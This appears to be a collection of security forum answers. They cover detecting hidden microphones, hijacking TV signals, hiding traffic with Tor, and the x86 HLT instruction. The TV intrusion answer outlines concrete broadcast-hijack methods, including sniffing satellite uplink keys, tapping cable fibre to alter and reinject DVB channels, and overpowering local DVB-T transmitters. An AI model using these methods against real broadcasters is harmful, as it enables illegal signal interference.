This is very broad without a context. If you simply define a microphone as a device able to record sounds, it will be very hard, because microphones can use various technologies, and you will only be able to protect you from technologies.

microphones sending in real-time what they hear: the common attack against them will be a wave scanner to detect their emission - that will be the easier part
common microphones with local storage. Depending on the technology used, you could try to detect the magnetic fields generated by the electronic machinery, but they can be low and hard to isolate from the ambient noises generated for example by modern lamps, not speaking of other electronic devices: do not hope to detect them at a large distance
laser microphones: glass windows can be used as a passive microphone with a device analyzing its vibrations through a laser. It is easy to detect a glass window, much harder to detect whether it is actively spyed
you could even build a purely machanical microphone by copying the disks ancestors: a horn to capt the sound, a needle attached to its top writing on a wax disk moved by a spring. Ok, it will be much bigger than an electronic device could be, but you would not detect it by the same tools...


How can hackers do a tv signal intrusion?

You can substitute your own TV signal at various levels, which would differ in affected range and would require different hardware.

range: global, broadcaster detection and avoidance: very fast, cost: moderate: impersonate transmission car. You need:

satellite transmission hardware just like the car equipment,
uplink parameters: frequency, modulation, symbol rate and BISS key. They can be sniffed easily from some ongoing transmission.

You can go online during some event, but you'll shortly be put down by "please excuse us, we have some technical problems out there".

range: large, broadcaster detection and avoidance: hours, cost: very large: impersonate signal origin (transmission site). Depending on area you want to cover, you must either put your signal into satellite or fiber feed. In case of fiber you need to know the location, probably at some patchpanel (messing in the ground would alert many people very fast), for sat you'll have to know the transmission scheme and disable the original transmitter. This is mostly movie or war-scenario, I can't imagine performing such attack without using force or very much money - 4 m diameter antenna weights about 250 kg and costs about 10k$, you might need to use 7 m antenna... But using your force you could take over the origin site itself and make them transmit your signal.

2a. the easier to perform might be possible if there is an unprotected feed from the studio to the transmit site. You'll need some insider knowledge, as the link is private by design (no well-known satellites, no easy-spottable huge antennas and transmit towers, no well-known broadcasting stations).
range: regional, broadcaster detection and avoidance: hours-day or two, cost: large: impersonate signal origin at some receiving site. In this scenario you put your signal into some regional redistribution point, like DVB-T transmitter or IP eXchange point. Much cheaper than previous variant, but similar. Receivers have less staff doing maintenance, the receiving party would not block you (previously this was some IXP or sat operator, now this is the redistribution site itself), you just need to climb to their antennas or fiber with your cable, you can gather all the required knowledge from single person working at the site.
range: local, broadcaster detection and avoidance: day or a few, cost: relatively small: put your signal directly into viewers at some area. You can either tap into CATV operator fiber infrastructure:

locate any fiber,
receive and filter-out 1550 nm wave, pass 1310/1490 bands,
demodulate DVB (this would be something between 20 and 40 DVB-C channels), decode MPEG-TS of your choice, change anything you want, modulate again,
transmit your signal into the fiber in 1550 band.

This is very easy for (G)EPON networks, but if the CATV operator uses DOCSIS for n-play, you'll have to deal with providing IP services in order to be not detected soon.

Or provide stronger radio signal than the one in the area and made the receivers tune to yours. In this case you'll need only the DVB-T head-end (about 1k$ per channel), an amplifier and antenna (depending on the area you want to cover).


How to obfuscate outgoing traffic if we don't want to use VPN?

As long as you use secure connections (SSL) they will "not" be able to see the data you are transmitting.

However if your concern is about they knowing where are you connecting to, then your best bet would be to use Tor, as you are discarding the use of a VPN service. Notice that even using Tor, your connection goes through your ISP (the first hop), however, they are not able to see what's your real destination, only the first Tor node you're going to use.


Can the HALT CPU instruction be used to stop attacks?

Interesting idea, but that instruction doesn't do what you think it does. From Wikipedia:

  In the x86 computer architecture, HLT (halt) is an assembly language instruction which halts the central processing unit (CPU) until the next external interrupt is fired. Interrupts are signals sent by hardware devices to the CPU alerting it that an event occurred to which it should react.

A kernel-mode driver could issue that instruction, but the next hardware interrupt would have the CPU resume whatever it was doing. Also from Wikipedia:

  For example, pressing a key on the keyboard or moving the mouse triggers hardware interrupts that cause the processor to read the keystroke or mouse position.

The instruction's real purpose is to save power, since stopping the CPU saves a lot of power compared to a no-op loop. I'm sure your computer uses HLT many times a day without you noticing.

If the system needs to halt immediately, a more effective option would be to trigger a bugcheck (a fatal system crash, like a BSOD on Windows). Another option is to scribble over fault handlers to get a triple fault, which can cause the machine to reboot.